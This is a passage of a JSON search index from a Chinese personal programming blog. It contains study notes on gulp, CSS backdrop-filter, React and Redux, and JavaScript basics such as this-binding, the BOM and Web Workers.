false\r})\r这个问题的原因在于vue-cli默认开启了ESLint检测，关闭就好了","title":"深入学习vuejs"},{"content":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;);\rgulp.task(\u0026quot;test\u0026quot;, function() {\rreturn console.log(\u0026quot;hallo gulp\u0026quot;);\r});\r执行test任务（在终端，应用根目录下）\ngulp test\n默认任务\ngulp.task(\u0026quot;default\u0026quot;, function(){\rreturn console.log(\u0026quot;hallo gulp\u0026quot;);\r})\r拷贝任务\ngulp.task(\u0026quot;copyData\u0026quot;, function(){\rgulp.src(\u0026quot;src/*\u0026quot;).pipe(gulp.dest(\u0026quot;app\u0026quot;));\r})\r上面是将src文件夹下全部文件拷贝到app文件下，哪怕没有这个文件夹，gulp也会自动新建文件夹并且拷贝过去\n图片压缩任务\n安装依赖\nnpm install \u0026ndash;save-dev gulp-imagemin\n修改gulpfile.js\nlet imagemin = require(\u0026quot;gulp-imagemin\u0026quot;);\rgulp.task(\u0026quot;imageMin\u0026quot;, function(){\rgulp.src(\u0026quot;src/*.{png,jpg,gif,ico}\u0026quot;).pipe(imagemin(\r{\roptimizationLevel: 5,\rprogressive: true, interlaced: true, multipass: true,\rsvgoPlugins:[{removeViewBox: true}],\r}\r)).pipe(gulp.dest(\u0026quot;src/images\u0026quot;));\r})\rimagemin方法参数：\noptimizationLevel：压缩等级（0-7），默认值为3\nprogressive：是否无损压缩jpg图片，默认值为false\ninterlaced：隔行扫描gif渲染，默认值为false\nmultipass：多次优化svg，直到优化完毕，默认值为false\nsvgoPlugins: 移除svg的viewbox属性\nPostCSS是一个用JavaScript转换css的工具\n一般来说PostCSS不单独使用，会搭配构建工具（例如：Webpack，Gulp）使用，因此这里使用的是Gulp\n安装PostCSS依赖和gulp依赖\nyarn add gulp gulp-postcss postcss-cssnext postcss-short\n修改gulpfile.js\nconst gulp = require(\u0026quot;gulp\u0026quot;);\rconst postcss = require(\u0026quot;gulp-postcss\u0026quot;);\rconst cssnext = require(\u0026quot;postcss-cssnext\u0026quot;);\rconst shortcss = require(\u0026quot;postcss-short\u0026quot;);\rgulp.task(\u0026quot;postcss\u0026quot;, function() {\rconst processors = [\rshortcss,\rcssnext\r];\rreturn gulp.src(\u0026quot;./1.css\u0026quot;)\r.pipe(postcss(processors))\r.pipe(gulp.dest(\u0026quot;./css\u0026quot;));\r});\rgulp postcss\n执行完毕后自动添加css兼容前缀了，还支持下一代css的语法\n","permalink":"https://xiaochenabc123.github.io/posts/73/","summary":"gulp.js是一个基于流(stream)的自动化构建工具，是开源的JavaScript自动化工具，基于node.js和npm的构建工具，可以处理压缩代码，合并代码，压缩图片，编译less等等任务\n全局安装gulp\nnpm install \u0026ndash;global gulp-cli\n或者\nyarn add gulp-cli -g\n初始化\nnpm init\n作为开发依赖进行安装gulp\nnpm install \u0026ndash;save-dev gulp\n或者\nyarn add gulp-cli -d\n安装依赖\nyarn add \u0026ndash;save-dev gulp-sass gulp-autoprefixer browser-sync gulp-notify\n创建gulpfile.js\n执行gulp\ngulp\n修改gulpfile.js\n导入gulp（这里用个变量接收）\nlet gulp = require(\u0026ldquo;gulp\u0026rdquo;);\n常用方法\ngulp.task() // 定义任务\ngulp.src() // 指向需要执行任务的文件\ngulp.dest() // 执行完任务的文件最后在哪里\ngulp.watch() // 监测文件是否发生变化\ngulp.task()其中有两个参数，分别是任务名称和一个回调函数\n例如：\nlet gulp = require(\u0026quot;gulp\u0026quot;);\rgulp.task(\u0026quot;test\u0026quot;, function() {\rreturn console.log(\u0026quot;hallo gulp\u0026quot;);\r});\r执行test任务（在终端，应用根目录下）\ngulp test","title":"gulp学习笔记"},{"content":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt;\r*{\rmargin: 0;\rpadding: 0;\r}\r#app{\rwidth: 100%;\rheight: 50rem;\rbackground-image: url(\u0026quot;1.jpg\u0026quot;);\r}\r#test{\rposition: absolute;\rtop: 0;\rleft: 0;\rright: 0;\rbottom: 0;\rbackdrop-filter: blur(10px);\r}\r.text{\rpadding-top: 100px;\rtext-align: center;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt;\r\u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt;\rhallo word\r\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\rbackdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）\n","permalink":"https://xiaochenabc123.github.io/posts/65/","summary":"backdrop-filter是css原生的属性\nbackdrop-filter的一些方法（用法和filter一样）\nblur：模糊 brightness：亮度 contrast：对比度 invert：反相 opacity：透明度 saturate：饱和度 drop-shadow：投影 grayscale：灰度 hue-rotate：色调变化 sepia：褐色\n简单实现一个毛玻璃背景效果，例如：\n\u0026lt;style\u0026gt;\r*{\rmargin: 0;\rpadding: 0;\r}\r#app{\rwidth: 100%;\rheight: 50rem;\rbackground-image: url(\u0026quot;1.jpg\u0026quot;);\r}\r#test{\rposition: absolute;\rtop: 0;\rleft: 0;\rright: 0;\rbottom: 0;\rbackdrop-filter: blur(10px);\r}\r.text{\rpadding-top: 100px;\rtext-align: center;\r}\r\u0026lt;/style\u0026gt;\r\u0026lt;div id=\u0026quot;app\u0026quot;\u0026gt;\r\u0026lt;div id=\u0026quot;test\u0026quot;\u0026gt;\r\u0026lt;p class=\u0026quot;text\u0026quot;\u0026gt;\rhallo word\r\u0026lt;/p\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\rbackdrop-filter和filter区别：\nfilter是作用于当前元素（效果体现在本身，而不是背景），而且后代也会继承该属性\nbackdrop-filter是作用于当前元素背后的所有元素，不会影响自己\nbackdrop-filter兼容性没有filter优秀（目前低版本浏览器和IE，火狐都不支持该属性）","title":"简单利用backdrop-filter属性实现效果"},{"content":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rstate和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r},() =\u0026gt; {\rconsole.log(this.state.count)\r})\r可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = (\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r)\rconsole.log(Abc)\r可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行\n通过该钩子函数的返回值来决定该组件是否重新渲染，返回true表示重新渲染，false表示不重新渲染\n根据该钩子函数中定义的条件，来表示是否重新渲染，例如：\nshouldComponentUpdate(nextProps, nextState){\rconsole.log(nextProps, nextState)\rconsole.log(this.props, this.state)\rreturn false\r}\rshouldComponentUpdate()的两个参数分别表示最新的props和state\n而通过this获取的props和state是更新前的\n因此可以通过比较更新前的数据和更新后的数据是否一致来决定是否重新渲染，不一致就重新渲染，一致就不重新渲染\n例如：\nshouldComponentUpdate(nextProps, nextState){\rif(nextState.count !== this.state.count){\rreturn true\r}\rreturn false\r}\r也可以直接进行比较来返回值，例如：return nextState.count !== this.state.count\n给子组件加shouldComponentUpdate()，子组件判断是否一致，通过props来判断\n纯组件（PureComponent）（内部对比是shallow compact，浅层对比）\n使用方法：class App extends React.PureComponent{}\nPureComponent内部自动实现了shouldComponentUpdate()钩子功能，不需要手动比较\n纯组件内部通过比较更新前和更新后两次props和state的值，来决定是否重新渲染组件\n浅层对比对于基础类型对比没有影响，就是值和值对比，而对于引用类型，只比较对象的引用地址是否相同，只要地址相同，就返回true，这个很坑\n如果state或者props中属性值是引用类型的，应该新建一个新数据，而不是直接修改原来的数据，例如：\nconst halloobj = { ...state.obj, a: \u0026quot;hallo\u0026quot; }\rsetState({ obj: halloobj })\r虚拟DOM和Diff算法\nreact渲染视图：只要state发生变化就重新渲染视图，部分更新，只更新变化的区域\n虚拟DOM配合Diff算法实现了部分更新功能\n虚拟DOM实质上是一个js对象，来描述视图显示的内容\n在初次渲染的时候，react会根据初始state（Model），来创建一个虚拟DOM树，然后根据虚拟DOM来生成真正的DOM，渲染到视图中\n当数据（state）发生变化时，会重新根据新的数据，创建新的虚拟DOM树\n然后会与上一次得到的虚拟DOM对象，使用Diff算法进行比较，来找到需要更新的内容\n然后只将变化的内容更新（patch）到DOM中，重新渲染到视图\n当组件的render()被调用时，会根据state和jsx结构来生成虚拟DOM对象\nrender()方法调用，不代表视图重新渲染，只是说明要进行Diff比较\nReact路由\n现代前端应用大多是SPA（单页应用程序），也就是只有一个html页面的应用程序，为了使用单页面来管理原来多页面的功能，因此前端路由诞生了\n路由实质上就是从一个视图导航到另一个视图，是一套映射规则，在React中是url路径与组件的对应关系\n安装路由（react）\nyarn add react-router-dom\n导入路由的核心组件（Router, Route, Link）\nimport { BrowserRouter as Router, Route, Link } from \u0026quot;react-router-dom\u0026quot;\r使用Router组件来作为根组件来包裹整个应用\n使用Link组件来作为路由入口\n使用Route组件来配置路由规则和要显示的组件（路由出口）\n例如：\nconst Hallo = () =\u0026gt; (\r\u0026lt;div\u0026gt;\rhallo React路由\r\u0026lt;/div\u0026gt;\r)\rconst PostMax = (props) =\u0026gt;{\rreturn (\r\u0026lt;Router\u0026gt;\r\u0026lt;div\u0026gt;\r\u0026lt;Link to=\u0026quot;/hallo\u0026quot;\u0026gt;跳转\u0026lt;/Link\u0026gt;\r\u0026lt;Route path=\u0026quot;/hallo\u0026quot; component={Hallo}\u0026gt;\u0026lt;/Route\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/Router\u0026gt;\r) }\rreact路由的执行过程：\n点击Link组件，修改URL\nReact路由监听到URL的变化，React路由内部遍历全部Route组件\n使用路由规则（path）与pathname（浏览器URL）进行匹配\n当路由规则和pathname匹配时，显示该Route组件的内容\n编程式导航（通过js程序来实现页面跳转）\nhistory是react路由提供的，用来获取浏览器历史记录的相关信息\n用法：this.props.history.push(\u0026quot;/hallo\u0026quot;)\n返回上一页面：props.history.go(-1)\npush中的参数就是要跳转的路径\n例如：\nconst PostMax = (props) =\u0026gt;{\rreturn (\r\u0026lt;Router\u0026gt;\r\u0026lt;div\u0026gt;\r\u0026lt;Link to=\u0026quot;/demoabc\u0026quot;\u0026gt;跳转\u0026lt;/Link\u0026gt;\r\u0026lt;Route path=\u0026quot;/demoabc\u0026quot; component={Demoabc}\u0026gt;\u0026lt;/Route\u0026gt;\r\u0026lt;Route path=\u0026quot;/abc\u0026quot; component={Abc}\u0026gt;\u0026lt;/Route\u0026gt;\r\u0026lt;/div\u0026gt;\r\u0026lt;/Router\u0026gt;\r) }\rconst Abc = (props) =\u0026gt; {\rconst onbock = () =\u0026gt;{\rprops.history.go(-1)\r}\rreturn(\r\u0026lt;div\u0026gt;\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r\u0026lt;div onClick={onbock}\u0026gt;返回\u0026lt;/div\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\rclass Demoabc extends React.Component{\ronGo = () =\u0026gt;{\rthis.props.history.push(\u0026quot;/Abc\u0026quot;)\r}\rrender(){\rreturn(\r\u0026lt;div onClick = {this.onGo}\u0026gt;goDemo\u0026lt;/div\u0026gt;\r)\r}\r}\r默认路由（进入页面就显示指定组件）：进入页面就匹配的路由\n默认路由为/，例如：\n\u0026lt;Route path=\u0026quot;/\u0026quot; component={Demoabc}\u0026gt;\u0026lt;/Route\u0026gt;\r匹配模式\n默认情况下，react路由是模糊匹配\n模糊匹配规则：当pathname以path开头就会匹配成功\n因此默认路由（/）永远都会匹配成功，得出如果当前页面是/Demoabc/xxx，那么/Demoabc和默认路由（/）也是会匹配成功\n精确匹配（避免默认路由匹配成功）\n给Route组件添加exact属性就是将其转换为精确匹配模式\n使用方法：\nreact的jsx中的onClick事件之类的都会封装在组件中，不会污染全局\n在react中使用了一个叫事件委托的事件处理方式\n无论页面有多少个事件，DOM上还是只添加一个事件函数\nVirtual DOM\n前端性能优化有个原则：尽量减少DOM操作\nDOM树是对html的抽象，那么Virtual DOM就是DOM的抽象，react会对比这次和上次渲染出来的Virtual DOM，找到发生改变的地方，达到局部更新数据，只重新渲染发生改变的那个区域，而不是改变个数据，整个dom结构都重新渲染\n根据软件设计的原则，一个优秀的组件要满足高内聚和低耦合的要求\n高内聚：将逻辑或者和逻辑相关的封装到一个组件中\n低耦合：不同的组件的依赖性要弱化，保证每个组件要尽量独立\n组件对外用prop，对内用state\n在外部的组件在任何情况下都不应该直接操作prop的值，而是在内部通过state来操作数据\nreact组件性能优化\n单个组件：通过shouldComponentUpdata函数的定义，在必要的情况下不需要更新，来节约计算资源\n多个组件：利用react的reconciliation算法，在树型结构的根节点不相同的话，react会推倒重新渲染，而如果相同，那么react就会保留节点的DOM元素，只对树型结构树型结构根节点上的属性和内容进行修改，只更新被修改的部分\n巧妙使用key：key在react中就是唯一标识，react通过key来确定组件的身份标识，能更快速识别出哪里发生了改变，key的值不要经常改变，要保证其是唯一性，稳定不变性，请勿使用index作为key\nRedux\nRedux是专门管理数据状态和UI状态的（可预测化的状态管理），Redux通过将应用状态存储在公用仓库（store）中，统一管理，这个仓库里有一个状态树（state tree），组件可以直接向仓库请求，可以通过监控仓库的状态来刷新状态（store的变化会导致view的变化）,调试Redux可以用Redux DevTools，Redux使用的是Flux模式\n安装Redux\nnpm install \u0026ndash;save redux\n或者react-redux\nnpm install \u0026ndash;save react-redux\nsrc/store/reducer.js\nconst StateData = {\rdata:[\r'hallo',\r'hahaha'\r]\r}\rexport default (state = StateData,action)=\u0026gt;{\rreturn state\r}\r建立reducer管理\nsrc/store/index.js\nimport { createStore } from 'redux'\rimport reducer from './reducer'\rconst store = createStore(reducer) export default store\r上面通过createStore方法创建store仓库，并且暴露store仓库\n组件获取状态\nimport React, { Component } from \u0026lsquo;react\u0026rsquo;; import store from \u0026lsquo;./store\u0026rsquo; class Demo extends Component { constructor(props){ super(props) this.state=store.getState() console.log(this.state) } render() { return ( {this.state.list} ) } }\nRedux有三个原则：唯一数据源，保持状态只读，数据改变只通过纯函数完成\n唯一数据源就是将全部组件（或者应用）状态数据只存放在唯一的一个store上\n保持状态只读就是不直接修改状态数据，通过一个action对象来完成，不是不修改状态数据，而是创建一个新的状态对象返回给Redux，让Redux来完成状态的处理\n数据改变只通过纯函数完成就是通过reducer来规约数据\nReact-Redux将全部组件分为两种，UI组件和容器组件\nUI组件就是只提供UI，没有涉及逻辑处理的，没有状态，不使用任何Redux的api，数据完全靠this.props来提供\n容器组件就是只提供逻辑处理，不涉及任何关于UI的\n一般来说容器组件会包裹UI组件，来提供组件通信，将数据传递给只提供UI的组件，UI根据传递过来的数据来渲染更新\n在Redux中，容器组件都由Redux提供，只需要专注逻辑和UI组件就可以了\n通过connect方法来将UI组件和容器组件连接起来，可以通过connect方法自动生成容器组件\n例如：\nimport { connect } from 'react-redux'\rconst Docker = connect()(Ui)\r其中Docker就是通过connect方法生成的容器组件，而Ui就是UI组件\nconnect()方法还支持两个参数，分别是输入逻辑和输出逻辑\n输入逻辑就是如何将数据传递给UI组件的定义（props），输出逻辑就是如何将用户操作UI组件的数据映射到store.dispatch\nwithRouter高阶组件：当某个东西不是router路由时，但是需要它跳转时，就可以使用withRouter\nwithRouter组件是在react-router-dom中的，因此需要引用，用法：\nimport React from 'react'\rimport { withRouter, Route } from \u0026quot;react-router-dom\u0026quot;\rclass Demo extends React.Component {\rrender() { console.log(this.props)\rreturn ( \u0026lt;div\u0026gt;\r\u0026lt;Route exact path='/' component={Home} /\u0026gt;\r\u0026lt;Route path='/admin' component={Admin} /\u0026gt;\r\u0026lt;/div\u0026gt;\r)\r}\r}\rexport default withRouter(Demo)\r可以看到withRouter接收一个组件，router的history, location, match存储在组件的props属性中\n","permalink":"https://xiaochenabc123.github.io/posts/63/","summary":"setState()\n注意：如果调用多次setState()，但是还是只触发一次重新渲染（性能优化，如果每更新一次状态就渲染一次的话，很影响性能）\nsetState()是异步更新数据的，因此setState()不要依赖于前面的setState()，因为其不会立刻更新数据\n如果当前setState()依赖于前面的setState()，解决方法：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r})\rconsole.log(this.state.count)\rstate和props参数分别获取到最新的state和最新的props，通过回调函数返回值，保证每次都获取到最新的state和props\n如果想在状态更新后（页面完成重新渲染）立刻执行某个操作，那么可以使用setState()的第二个参数，这个参数是一个回调函数\n例如：\nthis.setState((state, props) =\u0026gt;{\rreturn{\rcount: state.count + 1\r}\r},() =\u0026gt; {\rconsole.log(this.state.count)\r})\r可以看出 console.log(this.state.count)会在状态更新后被执行，因此可以获取到更新后的count值\n因此setState()一定会改变状态，但是不会立刻更新，而是当页面渲染完毕了（状态更新完毕之后）才会更新\njsx语法的转化\njsx实质上还是createElement()方法的语法糖（简化），因为jsx语法最后还是会编译（@babel/preset-react插件）成createElement()方法\n而createElement()方法也会被转换为js对象（ReactElement），用来描述页面上显示的内容，因此不管是jsx还是createElement()最后都会转换为js对象（ReactElement），ReactElement然后通过虚拟DOM实现DOM创建和更新\n例如：\nconst Abc = (\r\u0026lt;div\u0026gt;hallo\u0026lt;/div\u0026gt;\r)\rconsole.log(Abc)\r可以看到输出返回的是一个js对象\nReact.createElement()接收3个参数，type（表示标签或者组件），config（对象，表示组件的所有属性），children（对象，表示组件之间的嵌套关系）\n组件更新机制\nsetState()的作用：修改state，更新组件\n父组件重新更新state，子组件也会更新，不过只会影响到当前组件和其他子组件（后代组件）（组件树），对于该组件的兄弟组件和根组件（父组件）是不会影响\n初次渲染，当页面刷新时就会初次渲染，先渲染根组件，再按顺序渲染更新父组件和后代组件\n更新根组件，那么其下全部的组件树都会更新\n组件性能优化\nstate只存储和组件渲染相关的数据，例如列表数据，而不用来渲染的数据不放在state中\n如果需要在多个方法中使用（共享）的数据，应该放在this中\n因为组件更新机制的原因，子组件没有变化也会重新渲染\n解决方法：\n使用钩子函数 shouldComponentUpdate(nextProps, nextState)，该钩子函数是更新阶段的，组件重新渲染前执行","title":"深入学习React"},{"content":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){\rconsole.log(arguments.length);\rconsole.log(arguments[0]);\rconsole.log(arguments.callee);\rconsole.log(this)\r}\rabc('hallo');\rBOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator)\r可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location)\rconst urlData = \u0026quot;https://xiaochenabc123.test.com/;\rwindow.location.href = urlData;\r这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\r这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;)\rreload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true)\rhistory表示浏览器的历史记录\nconsole.log(window.history)\rlength表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen)\rcall 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴\nClipboard API新一代剪贴板操作方法，而且全部操作都是异步的，而且还可以将任何内容都放到剪贴板中\nconst NavigatorClipboard = navigator.clipboard\nWeb Workers\nWeb Workers就是创建多线程的，因为JavaScript是单线程语言\nWeb Workers允许主线程创建Workers线程，将任务分配给Workers线程\n主线程和Workers线程在运行的时候，互不干扰，当Workers线程处理完毕再将结果返回给主进程\n注意：Workers线程不能和主线程进行通信，不能读取本地文件，只能通过网络文件获取，而且Worker执行的脚本文件必须要和主线程同源\n创建Worker线程\nvar worker = new Worker(\u0026lsquo;https://xxx.xxx/data.js')\n可以看出Worker构造函数的参数是一个脚本文件，例如js\n注意：因为Worker不能读取本地文件，只能从网络上获取，因此会出现下载失败的情况，当下载失败的时候，不会抛出错误的\n主线程和worker线程通信\nworker.postMessage(\u0026ldquo;hallo word\u0026rdquo;)\nworker.onmessage = function (event) {\rconsole.log('data: ' + event.data)\r}\r当worker线程处理完毕，结果可以被event.data获取到\n关闭worker线程\nworker.terminate()\n深拷贝和浅拷贝\n浅拷贝：两个变量指向同一个内存地址，修改任何一个值，另一个的值也会跟着变化\n例如：\nvar obj = {\rname: \u0026quot;root\u0026quot;\r}\rvar abc= obj\rabc.name = \u0026quot;admin\u0026quot;\rconsole.log(obj, adc)\r深拷贝：将对象的值复制，并且给予新的变量名和地址，改变一个值，并不会引起另一个值的变化，因为引用地址不同\n例如：\nvar obj = {\rname: \u0026quot;root\u0026quot;\r}\rvar abc = { ...obj }\rabc.name = \u0026quot;admin\u0026quot;\rconsole.log(obj, abc)\rnew的作用：实例化一个新的对象-调用构造函数并且将构造函数的this指向该实例对象-实例对象共享构造函数的方法和属性\nJavaScript的内存管理机制与垃圾回收机制\n内存管理机制就是分配内存，JavaScript的内存管理就是创建时分配，不使用就是被回收释放\nJavaScript内存空间分为栈，堆，池\n栈存放变量，堆存放复杂对象，池存放常量\n在声明一个变量或者对象，函数的时候系统会自动分配内存，使用完毕的时候通过垃圾回收机制自动回收\n浏览器最常见的垃圾回收有两个，分别是标记清除，引用计数\n标记清除：垃圾回收器会给存储在内存中的变量一个标记，然后会去掉在环境中的变量及被环境中的变量引用的变量标记（闭包），而在此之后剩下的带有标记的变量视为要被删除的变量，最后垃圾回收器将释放这些变量的内存，回收它们所占用的空间\n引用计数：通过跟踪记录每个值被使用的次数，调用一次值解就加一，改变值为另一个值时就减一，当次数为0时，就是在说明没有变量在使用，这个值已经无法访问，垃圾回收器在运行的时候清理回收引用次数为0的值占用的空间\n注意：引用计数方法会导致内存泄露，因为其循环引用，导致闭锁\nthis指向：在严格模式中，函数内部的this被指向到undefined上，在非严格模式上会被绑定到window/global全局对象上，在使用new调用构造函数时，该构造函数内部的this被指向到这个new出来的对象上，在使用call/apply/bind方法调用函数时，该函数内部的this被指向call/apply/bind方法指定参数的对象上，在箭头函数中，this的指向取决于外部作用域，在执行上下文中，this取决于最后调用它的对象\nthis优先级：使用bind，apply，call，new绑定this指向的叫显式绑定，而通过调用方式来绑定叫隐式绑定，显式绑定的优先级比隐式绑定的优先级高，在显式绑定中，new优先级最高\n当某个函数在对象上下文中被调用，这个函数的this会绑定在这个对象上下文中，例如：\nfunction abc(){\rconsole.log(this.a)\r}\rlet a = 1\rlet obj = {\ra: 123,\rabc: abc\r}\rlet obj1 = {\ra: 666,\robj: obj\r}\robj.abc() // 哪怕在全局作用域中调用，this依然指向对象上下文\robj1.obj.abc() // 可以看到对象属性引用链只有真正调用函数的才可以影响this\r丢失this绑定（由于默认绑定，会默认绑定到全局对象或者undefined上，从而丢失了this），例如：\nfunction abc(){\rconsole.log(this.a)\r}\rvar obj = {\ra: 123,\rabc: abc\r}\rvar funs = obj.abc\rvar a = 666\rfuns()\rfuns变量的值为obj.abc的引用，注意不是调用，调用要加()，执行funs时就是在调用abc函数（因为funs的值就是abc函数的引用），因此abc函数的this指向了全局对象（a在全局作用域中，会变成全局对象的属性），导致丢失了想要指向obj对象的this\n使用let或者const关键字声明的全局变量，会被绑定到Script对象上而不是Window对象，使用var定义的变量，就可以被绑定到Window对象上\n例如：\nvar abc = \u0026ldquo;hallo\u0026rdquo; console.log(this.abc) // hallo console.log(this) // Window\nlet abc = \u0026ldquo;hallo\u0026rdquo; console.log(this.abc) // undefined console.log(this) // Window\nbind，apply，call都是改变this指向的\nbind()：第一个参数是this的指向，后面的是参数列表，可以多次传入，而call要求一次性传入完毕\n例如：\nvar arr=[1,2,4,6,7,10] var max=Math.max.bind(null,arr[0],arr[1],arr[2]) console.log(max()) // 4\napply():接受两个参数，第一个参数是this的指向，第二个参数是函数接收的参数（这个参数是通过数组形式传参），如果第一个参数为null或者undefined的时候，将指向window\nconst arr = [1,2,4,6,7,10] const abc = Math.max.apply(null,arr) console.log(abc) // 10\ncall():第一个参数是this的指向，后面传入的是一个参数列表（注意要一次性传完），当第一个参数为null或undefined的时候，表示指向window，call是临时改变一次this指向，并立即执行（和apply()一样）\nvar arr=[1,2,4,6,7,10] var max=Math.max.call(null,arr[0],arr[1],arr[2]) console.log(max) // 4\ncall和apply可直接对函数进行调用，而bind是返回一个函数，这个函数已经绑定了新的this指向，需要()来调用\n显式硬绑定\nfunction abc(){\rconsole.log(this.a)\r}\rvar obj = {\ra: 123,\rabc: abc\r}\rvar funs = function(){\rabc.call(obj)\r}\rfuns()\rfuns.call(windos) // 不能修改this，因为调用funs函数本身就是在绑定this\r数字 Number 字符串 String 对象 日期 Date 对象 数组 Array 布尔 Boolean 算数 